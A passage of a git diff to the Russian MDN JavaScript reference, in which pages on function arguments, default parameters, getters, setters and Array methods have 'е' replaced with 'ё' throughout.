token">.</span><span class="function token">join</span><span class="punctuation token">(</span>separator<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span></code></pre> -<p>Вы можете передать любое количество аргументов в эту функцию. Она создает строку, используя каждый аргумент:</p> +<p>Вы можете передать любое количество аргументов в эту функцию. Она создаёт строку, используя каждый аргумент:</p> <pre class="brush:js">// возвращает "red, orange, blue" myConcat(", ", "red", "orange", "blue"); @@ -118,7 +118,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");</pre> <h3 id="Функция_создающая_HTML_списки"> Функция, создающая HTML списки</h3> -<p>В данном примере приведена функция, которая создает строку с HTML-разметкой для списка. Единственный ее аргумент - строка, определяющая вид списка: если его значение равно "u", формируется неупорядоченный (маркированный) список, а если "o", то упорядоченный (нумерованный):</p> +<p>В данном примере приведена функция, которая создаёт строку с HTML-разметкой для списка. Единственный её аргумент - строка, определяющая вид списка: если его значение равно "u", формируется неупорядоченный (маркированный) список, а если "o", то упорядоченный (нумерованный):</p> <pre class="brush:js">function list(type) { var result = "<" + type + "l><li>"; @@ -148,7 +148,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");</pre> <span class="punctuation token">}</span> <span class="function token">foo</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">3</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// { "0": 1, "1": 2, "2": 3 }</span></code></pre> -<p>Тем не менее, в нестрогих функциях <strong>соответствие между их аргументами и объектом <code>arguments</code></strong> существует только в том случае, если функция <strong>не</strong> содержит никаких <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">оставшихся параметров</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметров по умолчанию</a> или <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктурированных параметров</a>. Например, в функции, приведенной ниже, используется параметр по умолчанию, и в данном случае возвращаемый результат будет равен 10, а не 100:</p> +<p>Тем не менее, в нестрогих функциях <strong>соответствие между их аргументами и объектом <code>arguments</code></strong> существует только в том случае, если функция <strong>не</strong> содержит никаких <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">оставшихся параметров</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметров по умолчанию</a> или <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктурированных параметров</a>. Например, в функции, приведённой ниже, используется параметр по умолчанию, и в данном случае возвращаемый результат будет равен 10, а не 100:</p> <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">bar</span><span class="punctuation token">(</span>a<span class="operator token">=</span><span class="number token">1</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> arguments<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">=</span> <span class="number token">100</span><span class="punctuation token">;</span> @@ -164,7 +164,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");</pre> <span class="punctuation token">}</span> <span class="function token">zoo</span><span class="punctuation token">(</span><span class="number token">10</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// 100</span></code></pre> -<p>На самом деле, если <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">оставшиеся параметры</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметры по умолчанию</a> или <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктурированные параметры</a> не используются, формальные аргументы будут ссылаться на последние значения объекта <strong><code>arguments</code></strong>, при считывании значений формальных аргументов будут считаны последние данные из <strong><code>arguments</code></strong>, а при изменении значений формальных аргументов будет обновлен и объект <strong><code>arguments</code></strong>. Пример приведен в коде ниже:</p> +<p>На самом деле, если <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">оставшиеся параметры</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметры по умолчанию</a> или <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктурированные параметры</a> не используются, формальные аргументы будут ссылаться на последние значения объекта <strong><code>arguments</code></strong>, при считывании значений формальных аргументов будут считаны последние данные из <strong><code>arguments</code></strong>, а при изменении значений формальных аргументов будет обновлён и объект <strong><code>arguments</code></strong>. Пример приведён в коде ниже:</p> <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">func</span><span class="punctuation token">(</span>a<span class="punctuation token">,</span> b<span class="punctuation token">)</span> <span class="punctuation token">{</span> arguments<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">=</span> <span class="number token">90</span><span class="punctuation token">;</span> diff --git a/files/ru/web/javascript/reference/functions/arrow_functions/index.html b/files/ru/web/javascript/reference/functions/arrow_functions/index.html index bd2cc34fe1..6df06beb79 100644 --- a/files/ru/web/javascript/reference/functions/arrow_functions/index.html +++ b/files/ru/web/javascript/reference/functions/arrow_functions/index.html @@ -66,7 +66,7 @@ f(); // 6 elements.map(function(element) { return element.length; -}); // Это выражение вернет массив [8, 6, 7, 9] +}); // Это выражение вернёт массив [8, 6, 7, 9] // Функцию выше можно записать как стрелочную функцию: elements.map((element) => { @@ -123,7 +123,7 @@ var p = new Person(); <p>Кроме этого, может быть создана <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">привязанная функция</a>, в которую передаётся требуемое значение <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code> для функции (функция <code>growUp()</code> в примере выше).</p> -<p>Стрелочные функции не содержат собственный контекст <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, а используют значение <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code> окружающего контекста. Поэтому нижеприведенный код работает как предполагалось:</p> +<p>Стрелочные функции не содержат собственный контекст <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, а используют значение <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this">this</a></code> окружающего контекста. Поэтому нижеприведённый код работает как предполагалось:</p> <pre class="brush: js">function Person(){ this.age = 0; diff --git a/files/ru/web/javascript/reference/functions/default_parameters/index.html b/files/ru/web/javascript/reference/functions/default_parameters/index.html index 9043c38446..b257a5fe65 100644 --- a/files/ru/web/javascript/reference/functions/default_parameters/index.html +++ b/files/ru/web/javascript/reference/functions/default_parameters/index.html @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Functions/Default_parameters <h2 id="Example" name="Example">Описание</h2> -<p>В JavaScript параметры функции, которым при ее вызове не передаются значения, принимают по умолчанию значение <code>{{jsxref("undefined")}}</code>. Однако в некоторых случаях может быть полезно задать иное значение по умолчанию. Именно для таких случаев предназначены параметры по умолчанию.</p> +<p>В JavaScript параметры функции, которым при её вызове не передаются значения, принимают по умолчанию значение <code>{{jsxref("undefined")}}</code>. Однако в некоторых случаях может быть полезно задать иное значение по умолчанию. Именно для таких случаев предназначены параметры по умолчанию.</p> <p>В прошлом для проверки параметров и задания их значений по умолчанию использовался код в теле функции, в котором проверялось, не равны ли значения параметров <code>undefined</code>.</p> @@ -47,7 +47,7 @@ multiply(5, 2); // 10 multiply(5); // 5 </pre> -<p>С появлением в ES2015 параметров по умолчанию стало возможным обходиться без проверки параметров в теле функции. Так, в приведенном выше примере достаточно в заголовке функции указать <code>1</code> в качестве значения по умолчанию для параметра <code>b</code>:</p> +<p>С появлением в ES2015 параметров по умолчанию стало возможным обходиться без проверки параметров в теле функции. Так, в приведённом выше примере достаточно в заголовке функции указать <code>1</code> в качестве значения по умолчанию для параметра <code>b</code>:</p> <pre class="brush: js">function multiply(a, b = 1) { return a*b; @@ -78,7 +78,7 @@ test(null); // 'object' (num получил значение null) <h3 id="Параметры_по_умолчанию_вычисляются_в_момент_вызова_функции">Параметры по умолчанию вычисляются в момент вызова функции</h3> -<p>В Javascript параметры по умолчанию вычисляются в момент вызова функции. В отличие от языка Python, при каждом вызове функции создается новое лексическое окружение функции.</p> +<p>В Javascript параметры по умолчанию вычисляются в момент вызова функции. В отличие от языка Python, при каждом вызове функции создаётся новое лексическое окружение функции.</p> <pre class="brush: js">function append(value, array = []) { array.push(value); @@ -117,7 +117,7 @@ callSomething(); // 2 greet('David', 'Hi'); // ["David", "Hi", "Hi David"] greet('David', 'Hi', 'Happy Birthday!'); // ["David", "Hi", "Happy Birthday!"]</pre> -<p>Следующий пример пример еще раз иллюстрирует эту возможность, а также позволяет еще раз сравнить два способа достижения одного и того же результата: с использованием инициализации параметров по умолчанию и без ее использования:</p> +<p>Следующий пример пример ещё раз иллюстрирует эту возможность, а также позволяет ещё раз сравнить два способа достижения одного и того же результата: с использованием инициализации параметров по умолчанию и без её использования:</p> <pre class="brush: js">function go() { return ":P" @@ -158,7 +158,7 @@ withoutDefaults.call({value:"=^_^="}); <h3 id="Инициализация_с_помощью_функций_определяемых_в_теле_функции">Инициализация с помощью функций, определяемых в теле функции</h3> -<p>Начиная с версии Gecko 33 {{geckoRelease(33)}} функции, определяемые в теле самой функции, не могут быть использованы для инициализации параметров по умолчанию; попытка это сделать приведет к ошибке {{jsxref("ReferenceError")}}. Параметры по умолчанию всегда вычисляются до обработки описаний функций, определяемых в теле функции.</p> +<p>Начиная с версии Gecko 33 {{geckoRelease(33)}} функции, определяемые в теле самой функции, не могут быть использованы для инициализации параметров по умолчанию; попытка это сделать приведёт к ошибке {{jsxref("ReferenceError")}}. Параметры по умолчанию всегда вычисляются до обработки описаний функций, определяемых в теле функции.</p> <pre class="brush: js">// Вызовет ошибку ReferenceError! function f(a = go()) { diff --git a/files/ru/web/javascript/reference/functions/get/index.html b/files/ru/web/javascript/reference/functions/get/index.html index 9e2c329c8e..0e6803733f 100644 --- a/files/ru/web/javascript/reference/functions/get/index.html +++ b/files/ru/web/javascript/reference/functions/get/index.html @@ -49,7 +49,7 @@ translation_of: Web/JavaScript/Reference/Functions/get <h3 id="Определение_геттера_на_новом_объекте_в_момент_инициализации_этого_объекта">Определение геттера на новом объекте в момент инициализации этого объекта</h3> -<p>Ниже создается псевдо-свойство <code>latest</code> для объекта <code>obj</code>, который выведет последний элемент массива в консоль лог.</p> +<p>Ниже создаётся псевдо-свойство <code>latest</code> для объекта <code>obj</code>, который выведет последний элемент массива в консоль лог.</p> <pre class="brush: js">const obj = { log: ['example','test'], @@ -98,10 +98,10 @@ console.log(obj.foo); // "bar"</pre> <p>Геттеры дают нам возможность определять свойство объекта , но они не вычисляют значение этого свойства до тех пор, пока оно не станет доступно. Геттер откладывает стоимость вычисления значения до тех пор, пока это значение не станет нужно, и если оно никогда не понадобится, то вы никогда не заплатите.</p> -<p>Дополнительная техника оптимизации заключается в том, чтобы лениться или откладывать вычисление значения свойства и кэшировать его для дальнейшего доступа. Так поступают <strong>умные или <a href="https://en.wikipedia.org/wiki/Memoization">запоминающие</a> геттеры</strong>. Значение вычисляется в первый раз при вызове геттера и затем сохраняется в кэше так, что последующие обращения будут возвращать кэшированные значения без его пересчета. Это полезно в следующих ситуациях:</p> +<p>Дополнительная техника оптимизации заключается в том, чтобы лениться или откладывать вычисление значения свойства и кэшировать его для дальнейшего доступа. Так поступают <strong>умные или <a href="https://en.wikipedia.org/wiki/Memoization">запоминающие</a> геттеры</strong>. Значение вычисляется в первый раз при вызове геттера и затем сохраняется в кэше так, что последующие обращения будут возвращать кэшированные значения без его пересчёта. Это полезно в следующих ситуациях:</p> <ul> - <li>Если вычисление значения свойства дорого (занимает много оперативной памяти или процессорного времени, порождает рабочий поток, получает удаленный файл, и т. д.).</li> + <li>Если вычисление значения свойства дорого (занимает много оперативной памяти или процессорного времени, порождает рабочий поток, получает удалённый файл, и т. д.).</li> <li>Если сейчас это значение не нужно. Оно будет использоваться позже, или в некоторых случаях оно не используется вообще.</li> <li>Если оно используется, к нему будут обращаться несколько раз, и нет необходимости его пересчитывать, так как значение не будет изменено, или не должно пересчитываться.</li> </ul> @@ -119,7 +119,7 @@ console.log(obj.foo); // "bar"</pre> <h3 id="get_и_defineProperty"><code>get</code> и <code>defineProperty</code></h3> -<p>Использование ключевого слова <code>get</code> и {{jsxref("Object.defineProperty()")}} дает похожие результаты, но при использовании в {{jsxref("classes")}} между ними есть тонкая разница.</p> +<p>Использование ключевого слова <code>get</code> и {{jsxref("Object.defineProperty()")}} даёт похожие результаты, но при использовании в {{jsxref("classes")}} между ними есть тонкая разница.</p> <p>При использовании <code>get</code> свойство будет определено в прототипе объекта, в то время, как при использовании {{jsxref ("Object.defineProperty ()")}} свойство будет определено в экземпляре, к которому применяется.</p> diff --git a/files/ru/web/javascript/reference/functions/method_definitions/index.html b/files/ru/web/javascript/reference/functions/method_definitions/index.html index 2a7f130d76..bc7b16eac1 100644 --- a/files/ru/web/javascript/reference/functions/method_definitions/index.html +++ b/files/ru/web/javascript/reference/functions/method_definitions/index.html @@ -38,7 +38,7 @@ original_slug: Web/JavaScript/Reference/Functions/Определение_мет <h3 id="Сокращение_методов-генераторов">Сокращение методов-генераторов</h3> -<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">Методы-генераторы</a> также могут быть определены используя короткий синтаксис. Обратите внимание, что звездочка (*) в коротком синтаксисе должна быть перед именем свойства генератора. То есть, <code>* g(){}</code> будет работать, а <code>g *(){}</code> не будет.</p> +<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">Методы-генераторы</a> также могут быть определены используя короткий синтаксис. Обратите внимание, что звёздочка (*) в коротком синтаксисе должна быть перед именем свойства генератора. То есть, <code>* g(){}</code> будет работать, а <code>g *(){}</code> не будет.</p> <pre class="brush: js;highlight[12]">// Используя свойство с именем (pre-ES6) var obj2 = { diff --git a/files/ru/web/javascript/reference/functions/set/index.html b/files/ru/web/javascript/reference/functions/set/index.html index 97b89211c1..438bd10539 100644 --- a/files/ru/web/javascript/reference/functions/set/index.html +++ b/files/ru/web/javascript/reference/functions/set/index.html @@ -41,13 +41,13 @@ translation_of: Web/JavaScript/Reference/Functions/set </ul> </div> -<p>Сеттер может быть удален оператором <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete"><code>delete</code></a>.</p> +<p>Сеттер может быть удалён оператором <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete"><code>delete</code></a>.</p> <h2 id="Примеры">Примеры</h2> <h3 id="Определение_сеттера_при_инициализации_новых_объектов">Определение сеттера при инициализации новых объектов</h3> -<p>Это позволит определить псевдо-параметр <code>current</code> объекта <code>o</code>, который задает значение, обновляющее значение <code>log</code>:</p> +<p>Это позволит определить псевдо-параметр <code>current</code> объекта <code>o</code>, который задаёт значение, обновляющее значение <code>log</code>:</p> <pre class="brush: js">var o = { set current (str) { @@ -57,7 +57,7 @@ translation_of: Web/JavaScript/Reference/Functions/set } </pre> -<p><code>обратите внимание, что current</code> не определен и любые попытки доступа к нему вернут <code>undefined</code>.</p> +<p><code>обратите внимание, что current</code> не определён и любые попытки доступа к нему вернут <code>undefined</code>.</p> <h3 id="Удаление_сеттера_оператором_delete">Удаление сеттера оператором <code>delete</code></h3> diff --git a/files/ru/web/javascript/reference/global_objects/array/concat/index.html b/files/ru/web/javascript/reference/global_objects/array/concat/index.html index b3c2fa6eea..5d2bff7df7 100644 --- a/files/ru/web/javascript/reference/global_objects/array/concat/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/concat/index.html @@ -119,7 +119,7 @@ console.log(alphaNumeric); // Результат: ['a', 'b', 'c', 1, 2, 3] <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.concat")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/every/index.html b/files/ru/web/javascript/reference/global_objects/array/every/index.html index 830be8882f..dc64e46dc1 100644 --- a/files/ru/web/javascript/reference/global_objects/array/every/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/every/index.html @@ -50,7 +50,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/every <h2 id="Description" name="Description">Описание</h2> -<p>Метод <code>every()</code> вызывает переданную функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдет такой, для которого <code>callback</code> вернет <em>ложное</em> значение (значение, становящееся равным <code>false</code> при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод <code>every()</code> немедленно вернёт <code>false</code>. В противном случае, если <code>callback</code> вернёт <code>true</code> для всех элементов массива, метод <code>every()</code> вернёт <code>true</code>. Функция <code>callback</code> вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.</p> +<p>Метод <code>every()</code> вызывает переданную функцию <code>callback</code> один раз для каждого элемента, присутствующего в массиве до тех пор, пока не найдёт такой, для которого <code>callback</code> вернёт <em>ложное</em> значение (значение, становящееся равным <code>false</code> при приведении его к типу {{jsxref("Boolean")}}). Если такой элемент найден, метод <code>every()</code> немедленно вернёт <code>false</code>. В противном случае, если <code>callback</code> вернёт <code>true</code> для всех элементов массива, метод <code>every()</code> вернёт <code>true</code>. Функция <code>callback</code> вызывается только для индексов массива, имеющих присвоенные значения; она не вызывается для индексов, которые были удалены или которым значения никогда не присваивались.</p> <p>Функция <code>callback</code> вызывается с тремя аргументами: значением элемента, индексом элемента и массивом, по которому осуществляется проход.</p> diff --git a/files/ru/web/javascript/reference/global_objects/array/fill/index.html b/files/ru/web/javascript/reference/global_objects/array/fill/index.html index 1e3fb187da..3bb59fb99d 100644 --- a/files/ru/web/javascript/reference/global_objects/array/fill/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/fill/index.html @@ -146,7 +146,7 @@ arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }]</code></pre> <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.fill")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/filter/index.html b/files/ru/web/javascript/reference/global_objects/array/filter/index.html index da6a9296ae..2eb7f46f9f 100644 --- a/files/ru/web/javascript/reference/global_objects/array/filter/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/filter/index.html @@ -287,7 +287,7 @@ console.log(deleteWords) <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.filter")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/find/index.html b/files/ru/web/javascript/reference/global_objects/array/find/index.html index ceef78d17d..46c0b0e693 100644 --- a/files/ru/web/javascript/reference/global_objects/array/find/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/find/index.html @@ -60,7 +60,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/find <p>Метод <code>find</code> не изменяет массив, для которого он был вызван.</p> -<p>Диапазон элементов, обрабатываемых методом <code>find</code>, устанавливается до первого вызова функции <code>callback</code>. Элементы, добавленные в массив после начала выполнения метода <code>find</code>, не будут посещены функцией <code>callback</code>. Если существующие, непосещение элементы массива изменяются функцией <code>callback</code>, их значения, переданные в функцию, будут значениями на тот момент времени когда метод <code>find</code> посетит их; удалённые элементы все еще будут посещены. </p> +<p>Диапазон элементов, обрабатываемых методом <code>find</code>, устанавливается до первого вызова функции <code>callback</code>. Элементы, добавленные в массив после начала выполнения метода <code>find</code>, не будут посещены функцией <code>callback</code>. Если существующие, непосещение элементы массива изменяются функцией <code>callback</code>, их значения, переданные в функцию, будут значениями на тот момент времени когда метод <code>find</code> посетит их; удалённые элементы все ещё будут посещены. </p> <h2 id="Examples" name="Examples">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/array/flat/index.html b/files/ru/web/javascript/reference/global_objects/array/flat/index.html index 236fa402fa..9fbccf3f75 100644 --- a/files/ru/web/javascript/reference/global_objects/array/flat/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/flat/index.html @@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Новый массив с объединенными в него подмассивами.</p> +<p>Новый массив с объединёнными в него подмассивами.</p> <h2 id="Примеры">Примеры</h2> @@ -76,7 +76,7 @@ arr1.reduce((acc, val) => acc.concat(val), []);// [1, 2, 3, 4] const flatSingle = arr => [].concat(...arr); </pre> -<pre class="brush: js notranslate">// Для развертывания многомерных массивов используем рекурсию, reduce и concat +<pre class="brush: js notranslate">// Для развёртывания многомерных массивов используем рекурсию, reduce и concat const arr = [1, 2, [3, 4, [5, 6]]]; function flatDeep(arr, d = 1) { diff --git a/files/ru/web/javascript/reference/global_objects/array/foreach/index.html b/files/ru/web/javascript/reference/global_objects/array/foreach/index.html index 9a349176f9..35bf8b9a41 100644 --- a/files/ru/web/javascript/reference/global_objects/array/foreach/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/foreach/index.html @@ -30,7 +30,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach <dl> <dt><code>callback</code></dt> - <dd>Функция, которая будет вызвана для каждого элемента массива. Она принимает от одного до трех аргументов:</dd> + <dd>Функция, которая будет вызвана для каждого элемента массива. Она принимает от одного до трёх аргументов:</dd> <dd> <dl> <dt><code>currentValue</code></dt> @@ -253,7 +253,7 @@ words.forEach((word) => { <h3 id="Выравнивание_уплощение_массива">Выравнивание (уплощение) массива</h3> -<p>Следующий пример приведен только для целей обучения. Если вы хотите выравнять массив с помощью встроенных методов, вы можете использовать {{jsxref("Array.prototype.flat()")}}</p> +<p>Следующий пример приведён только для целей обучения. Если вы хотите выравнять массив с помощью встроенных методов, вы можете использовать {{jsxref("Array.prototype.flat()")}}</p> <pre class="brush: js">function flatten(arr) { const result = [] @@ -370,7 +370,7 @@ if (!Array.prototype.forEach) { <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.forEach")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/keys/index.html b/files/ru/web/javascript/reference/global_objects/array/keys/index.html index 94cc84dd43..21899980d1 100644 --- a/files/ru/web/javascript/reference/global_objects/array/keys/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/keys/index.html @@ -76,7 +76,7 @@ console.log(denseKeys); // [0, 1, 2] <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.keys")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html b/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html index 2b69fd256f..8857ca7b47 100644 --- a/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html @@ -145,7 +145,7 @@ if (!Array.prototype.lastIndexOf) { <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.lastIndexOf")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/map/index.html b/files/ru/web/javascript/reference/global_objects/array/map/index.html index 89a4c3362c..b9adf151c8 100644 --- a/files/ru/web/javascript/reference/global_objects/array/map/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/map/index.html @@ -270,7 +270,7 @@ if (!Array.prototype.map) { <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправите нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправите нам pull request.</div> <p>{{Compat("javascript.builtins.Array.map")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/reduce/index.html b/files/ru/web/javascript/reference/global_objects/array/reduce/index.html index b135b336ee..72c06b90b5 100644 --- a/files/ru/web/javascript/reference/global_objects/array/reduce/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/reduce/index.html @@ -302,7 +302,7 @@ if (!Array.prototype.reduce) { <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.reduce")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/reverse/index.html b/files/ru/web/javascript/reference/global_objects/array/reverse/index.html index 811d7adea9..d5845f1bbd 100644 --- a/files/ru/web/javascript/reference/global_objects/array/reverse/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/reverse/index.html @@ -28,7 +28,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Перевернутый массив</p> +<p>Перевёрнутый массив</p> <h2 id="Description" name="Description">Описание</h2> @@ -82,7 +82,7 @@ console.log(myArray) // ['три', 'два', 'один'] <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("javascript.builtins.Array.reverse")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/array/slice/index.html b/files/ru/web/javascript/reference/global_objects/array/slice/index.html index d3b197f00b..4654f52d0a 100644 --- a/files/ru/web/javascript/reference/global_objects/array/slice/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/slice/index.html @@ -28,8 +28,8 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice <dt><code>begin</code> {{optional_inline}}</dt> <dd>Индекс (счёт начинается с нуля), по которому начинать извлечение.</dd> <dd>Если индекс отрицательный, <code>begin</code> указывает смещение от конца последовательности. Вызов <code>slice(-2)</code> извлечёт два последних элемента последовательности.</dd> - <dd>Если <code>begin</code> не определен, <code>slice()</code> начинает работать с индекса <code>0</code>.</dd> - <dd>Если <code>begin</code> больше длины последовательности вернется пустой массив.</dd> + 